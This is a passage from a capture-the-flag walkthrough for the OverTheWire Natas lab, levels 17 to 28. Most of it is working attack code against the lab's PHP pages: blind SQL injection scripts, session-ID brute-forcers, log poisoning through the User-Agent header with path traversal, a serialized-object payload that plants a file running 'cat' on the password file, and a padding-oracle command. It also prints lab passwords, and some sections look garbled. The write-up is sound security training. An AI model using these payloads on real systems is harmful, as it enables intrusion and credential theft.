break
fi
done
echo “$password”
done
After we run the script, the password is displayed:
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
#### Notes
Here is an alternative python 2.7 script by [Zelic](https://dejandayoff.com/natas-level17---level18/):
import urllib
import urllib2
import time
url = ‘http://natas17.natas.labs.overthewire.org/index.php’
authorization = ‘Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==’
Chars = [‘a’,’b’,’c’,’d’,’e’,’f’,’g’,’h’,’i’,’j’,’k’,’l’,’m’,’n’,’o’,’p’,’q’,’r’,
‘s’,’t’,’u’,’v’,’w’,’x’,’y’,’z’,’A’,’B’,’C’,’D’,’E’,’F’,’G’,’H’,’I’,’J’,’K’,’L’,
‘M’,’N’,’O’,’P’,’Q’,’R’,’S’,’T’,’U’,’V’,’W’,’X’,’Y’,’Z’,’0′,’1′,’2′,’3′,’4′,’5′,
‘6’,’7′,’8′,’9′]
password = “”
#loop through possible length of password
for i in range(1, 33):
print “%d out of 32″ % (i)
#loop through possible chars
for j in range(0,len(Chars)):
sqli = ‘natas18” AND LEFT(password, %d) COLLATE latin1_general_cs = “%s” AND (SELECT SLEEP(10)) AND “1”=”1’ % (i,password + Chars[j])
values = {‘username’ : sqli}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
req.add_header(‘Authorization’, authorization)
start = time.time()
response = urllib2.urlopen(req)
the_page = response.read()
end = time.time()
#print the_page
duration = end-start
if duration > 10:
password+=Chars[j]
print password
break
## Level 18 - PHPSESSID
Username: natas18
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
URL: [http://natas18.natas.labs.overthewire.org](http://natas18.natas.labs.overthewire.org)
The page presents us with Login form and an instruction: "Please login with your admin account to retrieve credentials for natas19. "
php source code is:
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg
“;
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists(“PHPSESSID”, $_COOKIE) and isValidID($_COOKIE[“PHPSESSID”])) {
if(!session_start()) {
debug(“Session start failed”);
return false;
} else {
debug(“Session start ok”);
if(!array_key_exists(“admin”, $_SESSION)) {
debug(“Session was old: admin flag set”);
$_SESSION[“admin”] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists(“admin”, $_SESSION) and $_SESSION[“admin”] == 1) {
print “You are an admin. The credentials for the next level are:
“;
print “
Username: natas19\n"; print "Password:
“;
} else {
print “You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.”;
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists(“username”, $_REQUEST) && array_key_exists(“password”, $_REQUEST)) {
session_id(createID($_REQUEST[“username”]));
session_start();
$_SESSION[“admin”] = isValidAdminLogin();
debug(“New session started”);
$showform = false;
print_credentials();
}
}
if($showform) {
?>
Please login with your admin account to retrieve credentials for natas19.
} ?>
The code tells us that the username we will target is **admin** and not natas19.
If login password is incorrect you get logged in as a regular user and a php session is setup. This php session id is the key to unveil the password for the next level.
Script that will search through PHPSESSID numbers is:
#!/bin/bash
address=’http://natas18.natas.labs.overthewire.org/index.php’
authorization=’Basic: bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==’
password=”
for n in {1..1000}
do
content=$(curl –user natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP -H “Referal: http://natas16.natas.labs.overthewire.org/index.php”-H “${authorization}” -b “PHPSESSID=${n}” -d ‘username=admin’ -d ‘password’ -d ‘debug’ -d “submit=Login” “${address}”)
match=$(echo “$content” | tr ‘\n’ ‘ ‘ | grep -v “You are logged in as a regular user.”)
echo “${n}”
if [[ “$match” != “You are an admin.” ]]; then
echo “${match}”
break
fi
done
We can see session id 610 will give us the password for natas19
4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
## Level 19 - hex session: num-admin
Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
URL: [http://natas19.natas.labs.overthewire.org](http://natas19.natas.labs.overthewire.org)
The task is similar to the previous level, however this time the PHPSESSID's are not numbers.
If we build the required URL
http://natas19.natas.labs.overthewire.org/index.php?username=admin&password&debug
We get the message:
This page uses mostly the same code as the previous level, but session IDs are no longer sequential…
DEBUG: Session start ok
You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.
So the session started. Let's see the PHPSESSID that was set:
3130302d61646d696e
As the session id is a random number we can expect it will change when we repeatedly visit the page and delete the cookie before each session.
Here are a couple of PHPSESSID's:
3130302d61646d696e
3236372d61646d696e
3334382d61646d696e
3538372d61646d696e
3131352d61646d696e
There is a part of ID that is repeated in each id:
313030 2d61646d696e
323637 2d61646d696e
333438 2d61646d696e
353837 2d61646d696e
313135 2d61646d696e
Let's convert some of these hex numbers into ASCII:
echo ’31 30 30 2d 61 64 6d 69 6e’ | xxd -r
00-admin
echo ’33 34 38 2d 61 64 6d 69 6e’ | xxd -r
48-admin
Here is the Bash script:
#!/bin/bash
address=’http://natas19.natas.labs.overthewire.org/index.php’
authorization=’Basic: bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==’
password=”
for n in {1..640}
do
echo “${n}”
hex session ID
sessionid=$(echo ${n}-admin | xxd -p )
| tr -d ‘0a’ – this removes all 0a in the string – not only the last 2 characters
removing the last two character s from the string as 0a get appended
echo “${sessionid::-2}”
Request
content=$(curl –user natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs -H “Referal: http://natas19.natas.labs.overthewire.org/”-H “${authorization}” -b “PHPSESSID=${sessionid::-2}” “${address}”)
match=$(echo "$content" | tr '\n' ' ' | grep -v "You are logged in as a regular user.")
if [[ "$match" == *"You are an admin."* ]]; then
echo "${match}"
break
fi
done
Password for natas20 is:
eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
#### Notes
A slightly modified Python script by [rAstl1n](http://r4stl1n.github.io/2014/12/29/OverTheWire-Natas17-24.html):
import requests
from requests.auth import HTTPBasicAuth
for x in range(1, 640):
sessionid = str(str(x) + “-admin”).encode(“hex”)
print “Trying: ” + sessionid + “: “+str(x)
r = requests.get(“http://natas19.natas.labs.overthewire.org/”, auth=HTTPBasicAuth(‘natas19’, ‘4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs’), cookies={“PHPSESSID”:str(sessionid)})
print r
if “You are an admin.” in r.text:
print “FOUND: ” + str(x)
print r.text
break
## Level 20 - write a newline to file
Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
URL: [http://natas20.natas.labs.overthewire.org](http://natas20.natas.labs.overthewire.org)
Page asks us for a name and again we can use ?debug to print out debugging info.
At first glance at source code we observe XXS attack is possible `<?=$name?>`.
Vulnerable [php code](http://natas20.natas.labs.overthewire.org/index-source.html):
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
We can write arbitrary data to the file that's being read. Now let's add a newline character somewhere in there for reader to interpret our single key-value pair as multiple.
Sending the request twice (first to write to the file and second time to read from it)
%0A is url-encoded newline
http://natas20.natas.labs.overthewire.org/index.php?name=admin%0Aadmin%201&debug=true
[r4stl1n](http://r4stl1n.github.io/2014/12/29/OverTheWire-Natas17-24.html) suggestet to use %00 NULL byte injection technique, but this doesn't work in my browser.
http://natas20.natas.labs.overthewire.org/index.php?name=asdf%00admin%201&debug=true
Password is:
IFekPyrQXftziDEsUr3x21sYuahypdgJ
## Level 21 - submit keys to PHPSESSID via the changed form fields
Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
URL: [http://natas21.natas.labs.overthewire.org](http://natas21.natas.labs.overthewire.org)
This level has two connected pages:
Note: this website is colocated with http://natas21-experimenter.natas.labs.overthewire.org
Php code on the main page is nothing special. Again we see we need to have a session with key admin and value 1 to access the password.
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:
“;
print “
Username: natas22\n"; print "Password:
“;
} else {
print “You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.”;
}
}
/* }}} */
session_start();
print_credentials();
?>
So let's go to the second page. The page features a form with wich we can change styles on the page. But the php code is more interesting. especially this part:
// if update was submitted, store it
if(array_key_exists(“submit”, $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
Here we see that each form key/value pair will be set as session key/value.
OK, so let's change one of the fields to `<input value="1" name="admin">`
Copy the PHPSESSID on this site and change the PHPSESSID on the main page.
When we refresh the page we get the password for the next level.
Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
## Level 22 - contents of 302 redirect page
Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
URL: [http://natas22.natas.labs.overthewire.org](http://natas22.natas.labs.overthewire.org)
The page gives us only the source code and cookie info.
In php we see we can get the password by adding `?revelio` to the page
if(array_key_exists("revelio", $_GET)) {
print "You are an admin. The credentials for the next level are:
“;
print “
Username: natas23\n"; print "Password:
“;
}
?>
So let's visit `natas22.natas.labs.overthewire.org/index.php?revelio=true` in browser.
We immediately see we get redirected to the previous page and the redirect code 302 is displayed.
OK, so we will need a script to get to the contents of the page.
#!/bin/bash
address=’natas22.natas.labs.overthewire.org/index.php?revelio=true’
authorization=’Basic: bmF0YXMyMjpjaEc5ZmJlMVRxMmVXVk1nallZRDFNc2ZJdk40NjFrSg==’
content=$(curl –user natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ -H “${authorization}” “${address}”)
echo “$content”
We run the script and get the password:
D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
## Level 23 - php string and number as value
Username: natas23
Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
URL: [http://natas23.natas.labs.overthewire.org](http://natas23.natas.labs.overthewire.org)
10 )){
echo “
The credentials for the next level are:
“;
echo “
Username: natas24 Password:
“;
}
else{
echo “
Wrong!
“;
}
}
// morla / 10111
?>
We need to make sure the value of passwd will be true in two cases:
- iloveyou will be its substring and
- it will be greater than 10
If the value will start with any number greater than 10 and string iloveyou it should satisfy these two rules. Let's try the URL:
http://natas23.natas.labs.overthewire.org/?passwd=13iloveyou
Password is:
OsRmXFguozKpTZZ5X14zNO43379LZveg
## Level 24 - strcmp()
Username: natas24
Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
URL: [http://natas24.natas.labs.overthewire.org](http://natas24.natas.labs.overthewire.org)
Php code tells us it must be a strcmp() function that will enable us to get the password:
“)){
echo “
The credentials for the next level are:
“;
echo “
Username: natas25 Password:
“;
}
else{
echo “
Wrong!
“;
}
}
?>
After trying various numbers, function(){} and other strings this one seems to work:
http://natas24.natas.labs.overthewire.org/?passwd[]=0
or
http://natas24.natas.labs.overthewire.org/?passwd[]
Password is
GHF6X7YwACaYYssHVY05cFq83hRktl4c
## Level 25 - User-Agent header php injection and ....//
Username: natas25
Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
URL: [http://natas25.natas.labs.overthewire.org](http://natas25.natas.labs.overthewire.org)
The page offers a dropdown with language sellection.
php code behind it is:
We will help ourselves with `$filename=str_replace("../","",$filename);` that will enable us to traverse the directory (we will use ....// we could also use ..././) and `$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];` where we will upload the script.
Here is the code:
#!/bin/bash
address=’http://natas25.natas.labs.overthewire.org/?lang=….//….//….//….//….//tmp/natas25_qe8keb8k1mo1hao83u7mump9n6.log’
authorization=’Basic: bmF0YXMyNTpHSEY2WDdZd0FDYVlZc3NIVlkwNWNGcTgzaFJrdGw0Yw==’
content=$(curl –user natas25:GHF6X7YwACaYYssHVY05cFq83hRktl4c -b ‘PHPSESSID=qe8keb8k1mo1hao83u7mump9n6’ -H ‘User-Agent: readfile("/etc/natas_webpass/natas26") ?>‘ -H “${authorization}” “${address}”)
echo “$content”
As the response we get whole log and the password:
qe8keb8k1mo1hao83u7mump9n6
## Level 26 - unserialization of an object from a cookie
Username: natas26
Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
URL: [http://natas26.natas.labs.overthewire.org](http://natas26.natas.labs.overthewire.org)
This level uses unserialization of an object from a cookie. More info [OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
We will use the Logger object from the [source code](http://natas26.natas.labs.overthewire.org/index-source.html).
Php code to create a serialized and encoded cookie for drawing
initMsg=” passthru('cat /etc/natas_webpass/natas27'); ?>\n\n”;
$this->exitMsg=” passthru('cat /etc/natas_webpass/natas27'); ?>\n”;
$this->logFile = “img/pass.php”;
}
function log($msg){
;
}
function __destruct(){
;
}
}
$obj = new Logger(“hello”);
echo serialize($obj);
echo “\nbase64_encoded:\n\n”;
echo base64_encode(serialize($obj));
echo “\nurlencoded:\n\n”;
echo urlencode(base64_encode(serialize($obj)));
?>
When we run the code we get:
O:6:”Logger”:3:{s:15:”LoggerlogFile”;s:12:”img/pass.php”;s:15:”LoggerinitMsg”;s:51:” “;s:15:”LoggerexitMsg”;s:50:” “;}
base64_encoded: Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMjoiaW1nL3Bhc3MucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6NTE6Ijw/IHBhc3N0aHJ1KCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjUwOiI8PyBwYXNzdGhydSgnY2F0IC9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jyk7ID8+CiI7fQ==
urlencoded: Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMjoiaW1nL3Bhc3MucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6NTE6Ijw%2FIHBhc3N0aHJ1KCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjUwOiI8PyBwYXNzdGhydSgnY2F0IC9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jyk7ID8%2BCiI7fQ%3D%3D
I have used base64 encoded code to change the drawing cookie value in Firebug. Then refresh the page http://natas26.natas.labs.overthewire.org/ and the following message should appear:
Fatal error: Cannot use object of type Logger as array in /var/www/natas/natas26/index.php on line 105
Next, visit http://natas26.natas.labs.overthewire.org/img/pass.php and the password will be displayed.
Password is:
55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
## Level 27 - db field length, duplicate user
Username: natas27
Password: 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
URL: [http://natas27.natas.labs.overthewire.org](http://natas27.natas.labs.overthewire.org)
## SOLUTION
Clue is in the database schema:
CREATE TABLE users
(
username
varchar(64) DEFAULT NULL,
password
varchar(64) DEFAULT NULL
);
We will create another user natas28 by adding username natas28 64+spaces and letter a. Password can be blank.
natas28 a
As username length is 64 characters we will trick it into thinking we are entering a unique name by entering a username that is longer than that, however when saved in the database the username will be trimmed to 64 characters as only 64 characters are alowed.
Then when we login again with natas28 and blank password, SQL will strip the spaces in db during the username check and then the data dump will display only the first match (the original natas28) with the password.
Welcome natas28!
Here is your data:
Array ( [username] => natas28 [password] => JWwR438wkgTsNKBbcJoowyysdM82YjeF )
#### SOLUTION#2
An unverified solution. I couldn't get the response with the password.
Main tip is written in the comments of the source code! The database get's cleared every 5 minutes. So we will try to login with blank creds at the same time as the database is cleared.
Javascript script that should be entered into console.
for (i = 0; i < 10000; i++) {
query = “username=natas28&password=”;
xhr = new XMLHttpRequest();
xhr.open(“POST”, “http://natas27.natas.labs.overthewire.org/index.php”, false);
xhr.setRequestHeader(“Content-type”,”application/x-www-form-urlencoded”);
xhr.send(query);
console.log(i);
if (xhr.response.indexOf(“Here”) != -1) {
break;
}
}
console.log(xhr.response);
stop the script with
xhr.abort();
## Level 28
Username: natas28
Password: JWwR438wkgTsNKBbcJoowyysdM82YjeF
URL: [http://natas28.natas.labs.overthewire.org](http://natas28.natas.labs.overthewire.org)
There is a clue about the solution of this problem if we visit a partial link
http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco
Incorrect amount of PKCS#7 padding for blocksize
So it's about the encription :)
In total there are two Error messages
Incorrect amount of PKCS#7 padding for blocksize
Invalid PKCS#7 padding encountered
Tool Padding Oracle Attack: https://github.com/mpgn/Padding-Oracle-Attack
I have only edited headers to enable access to the page:
headers = {“Content-type”: “application/x-www-form-urlencoded”,”Accept”: “text/plain”, “Authorization” :”Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg==”, ‘Cookie’: cookie}
And used one of the URLs to get the cypher
echo ‘G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIQ9i1qWcR+wgATYlCscOxBZIaVSupG+5Ppq4WEW09L0Nf/K3JUU/wpRwHlH118D44=’ | base64 -d | xxd -p
1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c
8cf210f62d6a59c47ec200136250ac70ec416486954aea46fb93e9ab8584
5b4f4bd0d7ff2b725453fc294701e51f5d7c0f8e
Here is the command:
python exploit.py -c 1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf210f62d6a59c47ec200136250ac70ec416486954aea46fb93e9ab85845b4f4bd0d7ff2b725453fc294701e51f5d7c0f8e -l 16 –host natas28.natas.labs.overthewire.org -u /search.php/?query= -v –error “PKCS#7”
“`
https://docs.google.com/spreadsheets/d/1V9n5i6Gly5Hm_DYCRQppdjWaltkCePi-z0meN3tZExQ/edit#gid=0
cat /etc/natas_webpass/natas29